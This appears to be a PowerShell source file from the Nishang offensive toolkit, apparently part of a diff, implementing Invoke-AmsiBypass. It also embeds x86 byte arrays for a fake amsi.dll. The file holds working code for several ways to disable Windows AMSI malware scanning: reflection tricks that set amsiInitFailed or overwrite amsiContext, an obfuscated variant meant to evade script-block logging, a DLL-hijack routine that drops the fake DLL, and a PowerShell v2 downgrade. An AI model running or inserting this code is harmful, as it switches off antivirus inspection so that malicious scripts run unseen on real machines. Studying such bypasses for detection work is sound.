111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 49 39 32 109 97 110 105 102 101 115 116 86 101 114 115 105 111 110 61 39 49 46 48 39 62 13 10 32 32 60 116 114 117 115 116 73 110 102 111 32 120 109 108 110 115 61 34 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 51 34 62 13 10 32 32 32 32 60 115 101 99 117 114 105 116 121 62 13 10 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 69 120 101 99 117 116 105 111 110 76 101 118 101 108 32 108 101 118 101 108 61 39 97 115 73 110 118 111 107 101 114 39 32 117 105 65 99 99 101 115 115 61 39 102 97 108 115 101 39 32 47 62 13 10 32 32 32 32 32 32 60 47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32 32 32 60 47 115 101 99 117 114 105 116 121 62 13 10 32 32 60 47 116 114 117 115 116 73 110 102 111 62 13 10 60 47 97 115 115 101 109 98 108 121 62 13 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 24 0 0 0 248 160 0 161 88 161 96 161 56 162 80 162 88 162 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0" + + if (([IntPtr]::Size) -eq 8) + { + Write-Verbose "64 bit process detected." + $DllBytes = $AmsiX64 + } + elseif (([IntPtr]::Size) -eq 4) + { + Write-Verbose "32 bit process detected." + $DllBytes = $AmsiX86 + } + + switch($method) + { + + "unload" + { + Write-Verbose "Using Matt Graeber's Reflection method." + if ($ShowOnly -eq $True) + { + Write-Output "Use the following scriptblock before you run a script which gets detected." + Write-Output '[Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiInitFailed'',''NonPublic,Static'').SetValue($null,$true)' + } + else + { + Write-Output "Executing the bypass." + [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) + } + } + + "unloadsilent" + { + Write-Verbose "Using Matt Graeber's Reflection method with WMF5 autologging bypass." + if ($ShowOnly -eq $True) + { + Write-Output "Use the following scriptblock before you run a script which gets detected." + Write-Output '[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType(''System.Reflection.Bindin''+''gFlags'')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType(''System.T''+''ype'')), [Object]([Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'')),(''GetFie''+''ld'')).Invoke(''amsiInitFailed'',((''Non''+''Public,Static'') -as [String].Assembly.GetType(''System.Reflection.Bindin''+''gFlags''))).SetValue($null,$True)' + } + else + { + Write-Output "Executing the bypass." + [Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True) + } + } + + "unloadobfuscated" + { + Write-Verbose "Using Matt Graeber's Reflection method with obfuscation from Daneil Bohannon's Invoke-Obfuscation - which bypasses WMF5 autologging." + if ($ShowOnly -eq $True) + { + $code = @" +Sv ('R9'+'HYt') ( " ) )93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpeR.)')eurt'+'aEm,llun'+'aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'lbuPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maUCS('+'dle'+'iF'+'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'eganaM.'+'m'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['( (noisserpxE-ekovnI" ); Invoke-Expression( -Join ( VaRIAbLe ('R9'+'hyT') -val )[ - 1..- (( VaRIAbLe ('R9'+'hyT') -val ).Length)]) +"@ + Write-Output "Use the following scriptblock before you run a script which gets detected." + Write-Output $code + } + else + { + Write-Output "Executing the bypass." + Sv ('R9'+'HYt') ( " ) )93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpeR.)')eurt'+'aEm,llun'+'aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'lbuPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maUCS('+'dle'+'iF'+'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'eganaM.'+'m'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['( (noisserpxE-ekovnI" ); Invoke-Expression( -Join ( VaRIAbLe ('R9'+'hyT') -val )[ - 1..- (( VaRIAbLe ('R9'+'hyT') -val ).Length)]) + + } + } + + "unload2" + { + Write-Verbose "Using Matt Graeber's second Reflection method." + if ($ShowOnly -eq $True) + { + Write-Output "Use the following scriptblock before you run a script which gets detected." + Write-Output '[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiContext'',[Reflection.BindingFlags]''NonPublic,Static'').GetValue($null),0x41414141)' + } + else + { + Write-Output "Executing the bypass." + [Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141) + } + } + + "dllhijack" + { + Write-Verbose "Using Cornelis de Plaa's DLL hijack method." + if ($ShowOnly -eq $True) + { + Write-Output "Copy powershell.exe from C:\Windows\System32\WindowsPowershell\v1.0 to a local folder and dropa fake amsi.dll in the same directory." + Write-Output "Run the new powershell.exe and AMSI should be gone for that session." + } + else + { + [Byte[]] $temp = $DllBytes -split ' ' + Write-Output "Executing the bypass." + Write-Verbose "Dropping the fake amsi.dll to disk." + [System.IO.File]::WriteAllBytes("$pwd\amsi.dll", $temp) + + Write-Verbose "Copying powershell.exe to the current working directory." + Copy-Item -Path C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Destination $pwd + + Write-Verbose "Starting powershell.exe from the current working directory." + & "$pwd\powershell.exe" + + } + } + + "psv2" + { + Write-Verbose "Using PowerShell version 2 which doesn't support AMSI." + if ($ShowOnly -eq $True) + { + Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and run scripts from the new PowerShell process." + } + else + { + Write-Verbose "Checking if .Net version 2.0.50727 is installed." + $versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version + if($versions -match "2.0.50727") + { + Write-Verbose ".Net version 2.0.50727 found." + Write-Output "Executing the bypass." + powershell.exe -version 2 + } + else + { + Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2." + } + } + } + + "obfuscation" + { + Write-Output "AMSI and the AVs which support it can be bypassed using obfuscation techqniues." + Write-Output "ISE-Steroids (http://www.powertheshell.com/isesteroidsmanual/download/) and Invoke-Obfuscation can be used (https://github.com/danielbohannon/Invoke-Obfuscation)." + } + } + +} + +function Invoke-AmsiBypass +{ +<# +.SYNOPSIS +Nishang script which uses publicly known methods to bypass/avoid AMSI. + +.DESCRIPTION +This script implements publicly known methods bypass or avoid AMSI on Windows machines. + +AMSI is a script malware detection mechanism enabled by default in Windows 10. +(https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx) + +This script implements 6 methods of bypassing AMSI. +unload - Method by Matt Graeber. Unloads AMSI from current PowerShell session. +unload2 - Another method by Matt Graeber. Unloads AMSI from current PowerShell session. +unloadsilent - Another method by Matt Graeber. Unloads AMSI and avoids WMF5 autologging. +unloadobfuscated - 'unload' method above obfuscated with Daneil Bohannon's Invoke-Obfuscation - which avoids WMF5 autologging. +dllhijack - Method by Cornelis de Plaa. The amsi.dll used in the code is from p0wnedshell (https://github.com/Cn33liz/p0wnedShell) +psv2 - If .net 2.0.50727 is available on Windows 10. PowerShell v2 is launched which doesn't support AMSI. + +The script also provides information on tools which can be used for obfuscation: +ISE-Steroids (http://www.powertheshell.com/isesteroidsmanual/download/) +Invoke-Obfuscation (https://github.com/danielbohannon/Invoke-Obfuscation) + +.PARAMETER Method +The method to be used for elevation. Defaut one is unloadsilent. + +.PARAMETER ShowOnly +The bypass is not executed. Just shown to the user. + +.EXAMPLE +PS > Invoke-AmsiBypass -Verbose +Above command runs the unloadsilent method. + +.EXAMPLE +PS > Invoke-PsUACme -Method unloadobfuscated -Verbose +Above command runs the unloadobfuscated method. + +.LINK +http://www.labofapenetrationtester.com/2016/09/amsi.html +https://github.com/samratashok/nishang +#> + + + [CmdletBinding()] Param( + + [Parameter(Position = 0, Mandatory = $False)] + [ValidateSet("unload","unloadsilent","unloadobfuscated","unload2","dllhijack","psv2","obfuscation")] + [String] + $Method = "unloadsilent", + + [Parameter(Position = 1, Mandatory = $False)] + [Switch] + $ShowOnly + ) + + $AmsiX86 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 0 0 0 14 31 186 14 0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97 110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46 13 13 10 36 0 0 0 0 0 0 0 190 171 71 149 250 202 41 198 250 202 41 198 250 202 41 198 243 178 186 198 248 202 41 198 148 145 40 199 249 202 41 198 148 145 42 199 251 202 41 198 148 145 44 199 242 202 41 198 148 145 45 199 241 202 41 198 39 53 226 198 248 202 41 198 250 202 40 198 231 202 41 198 40 145 33 199 251 202 41 198 40 145 214 198 251 202 41 198 40 145 43 199 251 202 41 198 82 105 99 104 250 202 41 198 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 80 69 0 0 76 1 6 0 144 29 62 87 0 0 0 0 0 0 0 0 224 0 2 33 11 1 14 0 0 14 0 0 0 18 0 0 0 0 0 0 43 19 0 0 0 16 0 0 0 32 0 0 0 0 0 16 0 16 0 0 0 2 0 0 6 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 112 0 0 0 4 0 0 0 0 0 0 2 0 64 1 0 0 16 0 0 16 0 0 0 0 16 0 0 16 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 148 36 0 0 80 0 0 0 0 80 0 0 224 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 96 0 0 44 1 0 0 176 32 0 0 112 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 33 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 112 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 124 12 0 0 0 16 0 0 0 14 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 100 97 116 97 0 0 220 7 0 0 0 32 0 0 0 8 0 0 0 18 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 100 97 116 97 0 0 0 136 3 0 0 0 48 0 0 0 2 0 0 0 26 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 192 46 103 102 105 100 115 0 0 20 0 0 0 0 64 0 0 0 2 0 0 0 28 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 115 114 99 0 0 0 224 1 0 0 0 80 0 0 0 2 0 0 0 30 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 114 101 108 111 99 0 0 44 1 0 0 0 96 0 0 0 2 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 51 192 194 12 0 59 13 4 48 0 16 242 117 2 242 195 242 233 96 3 0 0 85 139 236 139 69 12 131 232 0 116 51 131 232 1 116 32 131 232 1 116 17 131 232 1 116 5 51 192 64 235 48 232 245 4 0 0 235 5 232 207 4 0 0 15 182 192 235 31 255 117 16 255 117 8 232 24 0 0 0 89 235 16 131 125 16 0 15 149 192 15 182 192 80 232 23 1 0 0 89 93 194 12 0 106 16 104 24 36 0 16 232 123 9 0 0 106 0 232 35 5 0 0 89 132 192 117 7 51 192 233 224 0 0 0 232 40 4 0 0 136 69 227 179 1 136 93 231 131 101 252 0 131 61 60 51 0 16 0 116 7 106 7 232 203 7 0 0 199 5 60 51 0 16 1 0 0 0 232 74 4 0 0 132 192 116 101 232 206 8 0 0 104 186 25 0 16 232 177 6 0 0 232 93 7 0 0 199 4 36 57 24 0 16 232 160 6 0 0 232 112 7 0 0 199 4 36 128 32 0 16 104 124 32 0 16 232 78 11 0 0 89 89 133 192 117 41 232 237 3 0 0 132 192 116 32 104 120 32 0 16 104 116 32 0 16 232 42 11 0 0 89 89 199 5 60 51 0 16 2 0 0 0 50 219 136 93 231 199 69 252 254 255 255 255 232 68 0 0 0 132 219 15 133 76 255 255 255 232 52 7 0 0 139 240 131 62 0 116 30 86 232 40 5 0 0 89 132 192 116 19 255 117 12 106 2 255 117 8 139 54 139 206 232 136 8 0 0 255 214 255 5 24 48 0 16 51 192 64 232 201 8 0 0 195 138 93 231 255 117 227 232 131 5 0 0 89 195 106 12 104 56 36 0 16 232 105 8 0 0 161 24 48 0 16 133 192 127 4 51 192 235 79 72 163 24 48 0 16 232 22 3 0 0 136 69 228 131 101 252 0 131 61 60 51 0 16 2 116 7 106 7 232 190 6 0 0 232 180 3 0 0 131 37 60 51 0 16 0 199 69 252 254 255 255 255 232 27 0 0 0 106 0 255 117 8 232 65 5 0 0 89 89 51 201 132 192 15 149 193 139 193 232 78 8 0 0 195 232 164 3 0 0 255 117 228 232 6 5 0 0 89 195 106 12 104 88 36 0 16 232 236 7 0 0 131 101 252 0 139 125 12 131 255 1 116 10 131 255 2 116 5 139 93 8 235 49 255 117 16 87 139 93 8 83 232 218 0 0 0 139 240 137 117 228 133 246 15 132 190 0 0 0 255 117 16 87 83 232 216 253 255 255 139 240 137 117 228 133 246 15 132 167 0 0 0 131 255 1 117 7 83 232 198 9 0 0 89 255 117 16 87 83 232 159 253 255 255 139 240 137 117 228 131 255 1 117 43 133 246 117 30 255 117 16 80 83 232 135 253 255 255 255 117 16 86 83 232 147 253 255 255 255 117 16 86 83 232 116 0 0 0 131 255 1 117 4 133 246 116 4 133 255 117 11 83 232 130 9 0 0 89 133 255 116 5 131 255 3 117 72 255 117 16 87 83 232 98 253 255 255 139 240 137 117 228 133 246 116 53 255 117 16 87 83 232 58 0 0 0 139 240 235 36 139 77 236 139 1 81 255 48 104 22 16 0 16 255 117 16 255 117 12 255 117 8 232 86 2 0 0 131 196 24 195 139 101 232 51 246 137 117 228 199 69 252 254 255 255 255 139 198 232 54 7 0 0 195 85 139 236 86 139 53 160 32 0 16 133 246 117 5 51 192 64 235 18 255 117 16 139 206 255 117 12 255 117 8 232 193 6 0 0 255 214 94 93 194 12 0 85 139 236 131 125 12 1 117 5 232 88 4 0 0 255 117 16 255 117 12 255 117 8 232 177 254 255 255 131 196 12 93 194 12 0 85 139 236 106 0 255 21 40 32 0 16 255 117 8 255 21 0 32 0 16 104 9 4 0 192 255 21 4 32 0 16 80 255 21 8 32 0 16 93 195 85 139 236 129 236 36 3 0 0 106 23 232 234 8 0 0 133 192 116 5 106 2 89 205 41 163 32 49 0 16 137 13 28 49 0 16 137 21 24 49 0 16 137 29 20 49 0 16 137 53 16 49 0 16 137 61 12 49 0 16 102 140 21 56 49 0 16 102 140 13 44 49 0 16 102 140 29 8 49 0 16 102 140 5 4 49 0 16 102 140 37 0 49 0 16 102 140 45 252 48 0 16 156 143 5 48 49 0 16 139 69 0 163 36 49 0 16 139 69 4 163 40 49 0 16 141 69 8 163 52 49 0 16 139 133 220 252 255 255 199 5 112 48 0 16 1 0 1 0 161 40 49 0 16 163 44 48 0 16 199 5 32 48 0 16 9 4 0 192 199 5 36 48 0 16 1 0 0 0 199 5 48 48 0 16 1 0 0 0 106 4 88 107 192 0 199 128 52 48 0 16 2 0 0 0 106 4 88 107 192 0 139 13 4 48 0 16 137 76 5 248 106 4 88 193 224 0 139 13 0 48 0 16 137 76 5 248 104 164 32 0 16 232 225 254 255 255 139 229 93 195 85 139 236 139 69 8 86 139 72 60 3 200 15 183 65 20 141 81 24 3 208 15 183 65 6 107 240 40 3 242 59 214 116 25 139 77 12 59 74 12 114 10 139 66 8 3 66 12 59 200 114 12 131 194 40 59 214 117 234 51 192 94 93 195 139 194 235 249 232 85 7 0 0 133 192 117 3 50 192 195 100 161 24 0 0 0 86 190 64 51 0 16 139 80 4 235 4 59 208 116 16 51 192 139 202 240 15 177 14 133 192 117 240 50 192 94 195 176 1 94 195 232 32 7 0 0 133 192 116 7 232 118 5 0 0 235 5 232 77 7 0 0 176 1 195 106 0 232 207 0 0 0 132 192 89 15 149 192 195 232 97 7 0 0 132 192 117 3 50 192 195 232 85 7 0 0 132 192 117 7 232 76 7 0 0 235 237 176 1 195 232 66 7 0 0 232 61 7 0 0 176 1 195 85 139 236 232 203 6 0 0 133 192 117 24 131 125 12 1 117 18 255 117 16 139 77 20 80 255 117 8 232 136 4 0 0 255 85 20 255 117 28 255 117 24 232 219 6 0 0 89 89 93 195 232 155 6 0 0 133 192 116 12 104 68 51 0 16 232 220 6 0 0 89 195 232 240 6 0 0 133 192 15 132 217 6 0 0 195 106 0 232 221 6 0 0 89 233 215 6 0 0 85 139 236 131 125 8 0 117 7 198 5 92 51 0 16 1 232 186 4 0 0 232 189 6 0 0 132 192 117 4 50 192 93 195 232 176 6 0 0 132 192 117 10 106 0 232 165 6 0 0 89 235 233 176 1 93 195 85 139 236 131 236 12 86 139 117 8 133 246 116 5 131 254 1 117 124 232 31 6 0 0 133 192 116 42 133 246 117 38 104 68 51 0 16 232 80 6 0 0 89 133 192 116 4 50 192 235 87 104 80 51 0 16 232 61 6 0 0 247 216 89 26 192 254 192 235 68 161 4 48 0 16 141 117 244 87 131 224 31 191 68 51 0 16 106 32 89 43 200 131 200 255 211 200 51 5 4 48 0 16 137 69 244 137 69 248 137 69 252 165 165 165 191 80 51 0 16 137 69 244 137 69 248 141 117 244 137 69 252 176 1 165 165 165 95 94 139 229 93 195 106 5 232 6 2 0 0 204 106 8 104 120 36 0 16 232 117 3 0 0 131 101 252 0 184 77 90 0 0 102 57 5 0 0 0 16 117 96 161 60 0 0 16 129 184 0 0 0 16 80 69 0 0 117 79 185 11 1 0 0 102 57 136 24 0 0 16 117 65 139 69 8 185 0 0 0 16 43 193 80 81 232 180 253 255 255 89 89 133 192 116 42 247 64 36 0 0 0 128 117 33 199 69 252 254 255 255 255 176 1 235 31 139 69 236 139 0 51 201 129 56 5 0 0 192 15 148 193 139 193 195 139 101 232 199 69 252 254 255 255 255 50 192 232 59 3 0 0 195 85 139 236 232 11 5 0 0 133 192 116 15 128 125 8 0 117 9 51 192 185 64 51 0 16 135 1 93 195 85 139 236 128 61 92 51 0 16 0 116 6 128 125 12 0 117 18 255 117 8 232 67 5 0 0 255 117 8 232 59 5 0 0 89 89 176 1 93 195 85 139 236 161 4 48 0 16 139 200 51 5 68 51 0 16 131 225 31 255 117 8 211 200 131 248 255 117 7 232 1 5 0 0 235 11 104 68 51 0 16 232 233 4 0 0 89 247 216 89 27 192 247 208 35 69 8 93 195 85 139 236 255 117 8 232 186 255 255 255 247 216 89 27 192 247 216 72 93 195 85 139 236 131 236 20 131 101 244 0 131 101 248 0 161 4 48 0 16 86 87 191 78 230 64 187 190 0 0 255 255 59 199 116 13 133 198 116 9 247 208 163 0 48 0 16 235 102 141 69 244 80 255 21 28 32 0 16 139 69 248 51 69 244 137 69 252 255 21 32 32 0 16 49 69 252 255 21 36 32 0 16 49 69 252 141 69 236 80 255 21 16 32 0 16 139 77 240 141 69 252 51 77 236 51 77 252 51 200 59 207 117 7 185 79 230 64 187 235 16 133 206 117 12 139 193 13 17 71 0 0 193 224 16 11 200 137 13 4 48 0 16 247 209 137 13 0 48 0 16 95 94 139 229 93 195 104 96 51 0 16 255 21 24 32 0 16 195 104 96 51 0 16 232 229 3 0 0 89 195 184 104 51 0 16 195 184 112 51 0 16 195 232 239 255 255 255 139 72 4 131 8 4 137 72 4 232 231 255 255 255 139 72 4 131 8 2 137 72 4 195 184 132 51 0 16 195 85 139 236 129 236 36 3 0 0 83 86 106 23 232 234 3 0 0 133 192 116 5 139 77 8 205 41 51 246 141 133 220 252 255 255 104 204 2 0 0 86 80 137 53 120 51 0 16 232 133 3 0 0 131 196 12 137 133 140 253 255 255 137 141 136 253 255 255 137 149 132 253 255 255 137 157 128 253 255 255 137 181 124 253 255 255 137 189 120 253 255 255 102 140 149 164 253 255 255 102 140 141 152 253 255 255 102 140 157 116 253 255 255 102 140 133 112 253 255 255 102 140 165 108 253 255 255 102 140 173 104 253 255 255 156 143 133 156 253 255 255 139 69 4 137 133 148 253 255 255 141 69 4 137 133 160 253 255 255 199 133 220 252 255 255 1 0 1 0 139 64 252 106 80 137 133 144 253 255 255 141 69 168 86 80 232 252 2 0 0 139 69 4 131 196 12 199 69 168 21 0 0 64 199 69 172 1 0 0 0 137 69 180 255 21 20 32 0 16 86 141 88 255 247 219 141 69 168 137 69 248 141 133 220 252 255 255 26 219 137 69 252 254 195 255 21 40 32 0 16 141 69 248 80 255 21 0 32 0 16 133 192 117 13 15 182 195 247 216 27 192 33 5 120 51 0 16 94 91 139 229 93 195 83 86 190 8 36 0 16 187 8 36 0 16 59 243 115 24 87 139 62 133 255 116 9 139 207 232 56 0 0 0 255 215 131 198 4 59 243 114 234 95 94 91 195 83 86 190 16 36 0 16 187 16 36 0 16 59 243 115 24 87 139 62 133 255 116 9 139 207 232 13 0 0 0 255 215 131 198 4 59 243 114 234 95 94 91 195 255 37 112 32 0 16 204 204 204 204 204 104 75 26 0 16 100 255 53 0 0 0 0 139 68 36 16 137 108 36 16 141 108 36 16 43 224 83 86 87 161 4 48 0 16 49 69 252 51 197 80 137 101 232 255 117 248 139 69 252 199 69 252 254 255 255 255 137 69 248 141 69 240 100 163 0 0 0 0 242 195 139 77 240 100 137 13 0 0 0 0 89 95 95 94 91 139 229 93 81 242 195 85 139 236 255 117 20 255 117 16 255 117 12 255 117 8 104 5 16 0 16 104 4 48 0 16 232 203 1 0 0 131 196 24 93 195 85 139 236 131 37 124 51 0 16 0 131 236 44 83 51 219 67 9 29 16 48 0 16 106 10 232 228 1 0 0 133 192 15 132 116 1 0 0 131 101 236 0 51 192 131 13 16 48 0 16 2 51 201 86 87 137 29 124 51 0 16 141 125 212 83 15 162 139 243 91 137 7 137 119 4 137 79 8 137 87 12 139 69 212 139 77 224 137 69 244 129 241 105 110 101 73 139 69 220 53 110 116 101 108 11 200 139 69 216 53 71 101 110 117 11 200 247 217 106 1 88 26 201 106 0 128 193 1 89 83 15 162 139 243 91 137 7 137 119 4 137 79 8 137 87 12 116 67 139 69 212 37 240 63 255 15 61 192 6 1 0 116 35 61 96 6 2 0 116 28 61 112 6 2 0 116 21 61 80 6 3 0 116 14 61 96 6 3 0 116 7 61 112 6 3 0 117 17 139 61 128 51 0 16 131 207 1 137 61 128 51 0 16 235 6 139 61 128 51 0 16 131 125 244 7 139 69 224 137 69 228 139 69 220 137 69 248 137 69 232 124 50 106 7 88 51 201 83 15 162 139 243 91 141 93 212 137 3 137 115 4 137 75 8 137 83 12 139 69 216 169 0 2 0 0 137 69 236 139 69 248 116 9 131 207 2 137 61 128 51 0 16 95 94 169 0 0 16 0 116 109 131 13 16 48 0 16 4 199 5 124 51 0 16 2 0 0 0 169 0 0 0 8 116 85 169 0 0 0 16 116 78 51 201 15 1 208 137 69 240 137 85 244 139 69 240 139 77 244 131 224 6 51 201 131 248 6 117 51 133 201 117 47 161 16 48 0 16 131 200 8 199 5 124 51 0 16 3 0 0 0 246 69 236 32 163 16 48 0 16 116 18 131 200 32 199 5 124 51 0 16 5 0 0 0 163 16 48 0 16 51 192 91 139 229 93 195 51 192 57 5 20 48 0 16 15 149 192 195 195 255 37 52 32 0 16 255 37 60 32 0 16 255 37 56 32 0 16 255 37 48 32 0 16 255 37 64 32 0 16 255 37 104 32 0 16 255 37 100 32 0 16 255 37 96 32 0 16 255 37 92 32 0 16 255 37 88 32 0 16 255 37 84 32 0 16 255 37 80 32 0 16 255 37 76 32 0 16 255 37 72 32 0 16 255 37 12 32 0 16 176 1 195 51 192 195 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 198 38 0 0 0 39 0 0 20 39 0 0 40 39 0 0 68 39 0 0 186 39 0 0 164 39 0 0 138 39 0 0 116 39 0 0 94 39 0 0 226 38 0 0 